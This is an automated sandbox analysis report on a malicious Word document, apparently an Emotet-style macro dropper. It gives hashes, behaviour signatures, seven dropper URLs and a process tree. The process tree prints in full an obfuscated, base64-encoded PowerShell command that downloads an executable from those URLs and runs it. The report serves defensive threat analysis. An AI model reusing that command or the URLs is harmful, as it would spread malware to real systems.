Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2024 23:53

General

  • Target

    eeae7980dd787e0cc804bebef92ed930_JaffaCakes118.doc

  • Size

    174KB

  • MD5

    eeae7980dd787e0cc804bebef92ed930

  • SHA1

    9d5b11349e1f297468bdc9cf62620e3888673fdd

  • SHA256

    af0e40cc260afaf98685419c7a7e2a7bb5071876da22daeafb069c208b8a9ff1

  • SHA512

    d7502f4da62345c51d99906921c5b9a8d18faa406c4e43dfa93b9de3dac85dd9b16593ff3d72a777e4509e05b45f8aaf73f6b8c0d37ddb61b8c5037b341964b0

  • SSDEEP

    1536:trdi1Ir77zOH98Wj2gpngx+a9xGmLtHuJ:trfrzOH98ipgJFuJ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://haikouweixun.com/jn5/Rbp/

exe.dropper

http://carolinacanullo.com/js/hllPT/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/B3KqPpe/

exe.dropper

http://www.insulution.org/wp-admin/swift/swift/y318LGM/

exe.dropper

http://petafilm.com/calendar/6kOpwrt/

exe.dropper

https://dev.contractdevs.co.uk/hbbny/Kv9/

exe.dropper

http://blog.penmman.com/wp-content/uploads/1ECbn9K/

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\eeae7980dd787e0cc804bebef92ed930_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABOAGwAcAA3AGoAegBqAD0AKAAnAFUAegAnACsAKAAnAGwAaQAnACsAJwBwADYAYQAnACkAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBQAFIATwBmAGkAbABFAFwAWgAxAGgARgAxADMAQwBcAGoAUQA4AE0AXwA0ADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAGAAQwB1AGAAUgBpAHQAWQBQAFIAbwBUAG8AYwBgAE8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAJwArACcAbABzACcAKwAnADEAMQAnACkAKwAoACcALAAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABLADcAcAA3ADIAcAB6ACAAPQAgACgAJwBSACcAKwAnAHUAJwArACgAJwA2AG8AagByADEAaQAnACsAJwByACcAKQApADsAJABCAGQAbABqAHEAdwBiAD0AKAAoACcASgBwACcAKwAnAF8AJwApACsAKAAnADQAJwArACcAdQBrAHIAJwApACkAOwAkAFoAdABtAHEAdQBpAHcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAUwBvACcAKwAnADUAJwArACgAJwBaACcAKwAnADEAaABmADEAJwArACcAMwAnACsAJwBjAFMAbwA1ACcAKwAnAEoAcQAnACsAJwA4AG0AXwA0ADUAUwAnACkAKwAnAG8ANQAnACkALgAiAHIAYABlAHAAbABgAEEAQwBlACIAKAAoACcAUwAnACsAJwBvADUAJwApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAEsANwBwADcAMgBwAHoAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABKAGEAcgA1AGcAdABwAD0AKAAoACcAUgBwADkAJwArACcAcQAyACcAKwAnAGMAJwApACsAJwB3ACcAKQA7ACQATABmADMAcABwAHcAZgA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAFQALgBXAGUAYgBDAEwASQBlAE4AVAA7ACQASwBvAGUAMQBlADUAMgA9ACgAKAAnAGgAdAB0AHAAJwArACcAcwA6ACcAKQArACgAJwAvAC8AaAAnACsAJwBhACcAKwAnAGkAawBvAHUAJwApACsAKAAnAHcAZQBpAHgAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwAuAGMAJwArACcAbwBtAC8AagAnACkAKwAoACcAbgAnACsAJwA1AC8AJwApACsAJwBSACcAKwAoACcAYgBwACcAKwAnAC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAJwArACcAOgAvAC8AYwBhAHIAJwArACcAbwBsAGkAJwApACsAJwBuACcAKwAoACcAYQBjACcAKwAnAGEAJwArACcAbgB1AGwAJwApACsAKAAnAGwAbwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwAvAGoAJwArACcAcwAvAGgAJwArACcAbABsAFAAJwArACcAVAAvACoAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvAC8AbQAnACkAKwAnAGUAJwArACcAZwAnACsAKAAnAGEAJwArACcAcwBvACcAKwAnAGwAdQBjAG8AZQBzACcAKQArACcAdAAnACsAKAAnAGkALgBjAG8AbQAvAFIAJwArACcAOQBLACcAKQArACgAJwBEAHEAMABPADgAdwAnACsAJwAvAEIAJwArACcAMwAnACkAKwAoACcASwAnACsAJwBxAFAAcABlAC8AKgAnACkAKwAnAGgAJwArACgAJwB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwAnACkAKwAoACcAdwAnACsAJwB3AC4AJwApACsAKAAnAGkAJwArACcAbgBzAHUAbAAnACkAKwAnAHUAJwArACcAdABpACcAKwAoACcAbwAnACsAJwBuAC4AbwByAGcAJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4AJwArACcALwBzACcAKwAoACcAdwAnACsAJwBpAGYAJwApACsAKAAnAHQALwAnACsAJwBzAHcAaQBmAHQAJwApACsAJwAvACcAKwAoACcAeQAzADEAJwArACcAOABMACcAKQArACgAJwBHACcAKwAnAE0ALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAKAAnAHAAZQB0ACcAKwAnAGEAJwApACsAJwBmACcAKwAoACcAaQAnACsAJwBsAG0ALgAnACkAKwAnAGMAJwArACgAJwBvAG0ALwBjAGEAbABlAG4AZABhACcAKwAnAHIALwAnACsAJwA2ACcAKQArACcAawAnACsAKAAnAE8AcAB3AHIAdAAvACcAKwAnACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAnAGQAJwArACcAZQAnACsAKAAnAHYALgBjAG8AbgB0AHIAJwArACcAYQBjAHQAZAAnACsAJwBlAHYAcwAuACcAKwAnAGMAbwAnACkAKwAnAC4AdQAnACsAKAAnAGsALwAnACsAJwBoACcAKQArACcAYgAnACsAKAAnAGIAbgB5AC8AJwArACcASwAnACsAJwB2ADkALwAnACsAJwAqACcAKQArACgAJwBoAHQAJwArACcAdABwACcAKQArACgAJwA6AC8ALwAnACsAJwBiAGwAJwApACsAJwBvACcAKwAnAGcALgAnACsAKAAnAHAAJwArACcAZQBuAG0AbQAnACsAJwBhAG4ALgBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQBjACcAKwAnAG8AJwArACcAbgB0ACcAKQArACcAZQAnACsAKAAnAG4AdAAvACcAKwAnAHUAJwApACsAKAAnAHAAJwArACcAbABvACcAKQArACgAJwBhAGQAcwAvADEARQBDACcAKwAnAGIAbgA5ACcAKwAnAEsAJwApACsAJwAvACcAKQAuACIAcwBQAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHMAdwBmADUAcwBqAD0AKAAoACcARgBfAHMAdwAnACsAJwA1ACcAKQArACcANwBhACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEYAbgBvADUAZQBxAHcAIABpAG4AIAAkAEsAbwBlADEAZQA1ADIAKQB7AHQAcgB5AHsAJABMAGYAMwBwAHAAdwBmAC4AIgBEAG8AYAB3AG4ATABgAG8AYQBEAGYAaQBgAEwAZQAiACgAJABGAG4AbwA1AGUAcQB3ACwAIAAkAFoAdABtAHEAdQBpAHcAKQA7ACQAWABnAGQAegAyAHgAdgA9ACgAKAAnAFIAaAB2AGEAJwArACcAegB3ACcAKQArACcAegAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgB0AG0AcQB1AGkAdwApAC4AIgBsAGUAbgBgAGcAdABIACIAIAAtAGcAZQAgADIANQA4ADgAMAApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAtAEkAdAAnACsAJwBlAG0AJwApACgAJABaAHQAbQBxAHUAaQB3ACkAOwAkAFUAbwBjAHkAbABpADYAPQAoACcAVQB4ACcAKwAoACcAaABhADUAJwArACcAawA1ACcAKQApADsAYgByAGUAYQBrADsAJABKAHQAdgAwADgAcQAzAD0AKAAnAEIAJwArACgAJwByAHcAJwArACcAOQBpAGEAdgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgAzAGIAcwA5ADkAdwA9ACgAJwBHADkAJwArACcAMABhACcAKwAoACcAbwB0ACcAKwAnADUAJwApACkA
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2724

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      4eda7fd3cf3baccdb367b6ac79fbf2c4

      SHA1

      26924a83f2f7654c4e9bb39cdd84a925c1616f4d

      SHA256

      b190bc433e172b89bf72522ee0acd23ce0d9e55259fc8bf8b7668d2b0a7a1618

      SHA512

      d0031903dc55831a7c2a69701076fd962d3829f8f5e83c3d442302c9f9d570e12aaf3274e54119d076f4d57eaeaa4a874bc33190858936c7ddd2a23b0c3a3990

    • memory/2476-8-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-42-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-5-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-7-0x0000000006490000-0x0000000006590000-memory.dmp

      Filesize

      1024KB

    • memory/2476-6-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-20-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-9-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-21-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-19-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-17-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-18-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-16-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-15-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-14-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-13-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-12-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-11-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-33-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-22-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-2-0x000000007091D000-0x0000000070928000-memory.dmp

      Filesize

      44KB

    • memory/2476-10-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-32-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-31-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-30-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-29-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-28-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-27-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-26-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-25-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-24-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-23-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-61-0x000000007091D000-0x0000000070928000-memory.dmp

      Filesize

      44KB

    • memory/2476-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2476-41-0x000000007091D000-0x0000000070928000-memory.dmp

      Filesize

      44KB

    • memory/2476-0-0x000000002FA91000-0x000000002FA92000-memory.dmp

      Filesize

      4KB

    • memory/2476-43-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-44-0x00000000005D0000-0x00000000006D0000-memory.dmp

      Filesize

      1024KB

    • memory/2476-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2724-40-0x0000000002670000-0x0000000002678000-memory.dmp

      Filesize

      32KB

    • memory/2724-39-0x000000001B650000-0x000000001B932000-memory.dmp

      Filesize

      2.9MB